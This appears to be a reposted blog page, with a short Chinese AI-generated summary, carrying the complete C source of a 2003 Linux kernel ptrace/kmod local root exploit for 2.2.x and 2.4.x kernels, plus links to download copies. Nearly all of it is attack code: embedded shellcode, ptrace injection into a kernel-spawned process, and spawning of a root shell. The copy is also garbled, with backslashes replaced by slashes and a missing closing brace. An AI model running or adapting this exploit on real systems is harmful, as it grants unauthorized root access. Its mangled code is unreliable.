Ptrace Vulnerability Allows Gaining of Elevated Privileges under Linux

本文介绍了一个在Linux 2.2.x和2.4.x内核中存在的提权漏洞利用方法,该方法通过ptrace机制实现本地权限提升,文中提供了详细的代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Sample exploit here (ix86-only):
http://august.v-lo.krakow.pl/~anszom/km3.c
or
http://isec.pl/cliph/isec-ptrace-kmod-exploit.c

Exploit:
----------------------------------------------------------------------
/*
* Linux kernel ptrace/kmod local root exploit
*
*
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@xxxxxxx>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/

#include < grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
"/x90/x90/xeb/x1f/xb8/xb6/x00/x00"
"/x00/x5b/x31/xc9/x89/xca/xcd/x80"
"/xb8/x0f/x00/x00/x00/xb9/xed/x0d"
"/x00/x00/xcd/x80/x89/xd0/x89/xd3"
"/x40/xcd/x80/xe8/xdc/xff/xff/xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;

memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
  fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1;
buf[len] = '/0';

src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
  if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
   fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
struct user_regs_struct regs;

if (gotchild++ == 0)
  return;

fprintf(stderr, "[+] Signal caught/n");

if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
  fatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx/n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell.../n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
  fatal("[-] Unable to detach from victim");

exit(0);
}

void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}

void do_child(void)
{
int err;

child = getpid();
victim = child + 1;

signal(SIGCHLD, sigchld);

do
  err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);

if (err == -1)
  fatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d/n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
  fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal/n");

for(;;);
}

void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
  err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1)
  fatal("[-] Unable to stat myself");

alarm(0);
system(progname);
}

void prepare(void)
{
if (geteuid() == 0) {
  initgroups("root", 0);
  setgid(0);
  setuid(0);
  execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
  fatal("[-] Unable to spawn shell");
}
}

int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);

parent = getpid();
child = fork();
victim = child + 1;

if (child == -1)
  fatal("[-] Unable to fork");

if (child == 0)
  do_child();
else
  do_parent(argv[0]);

return 0;
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值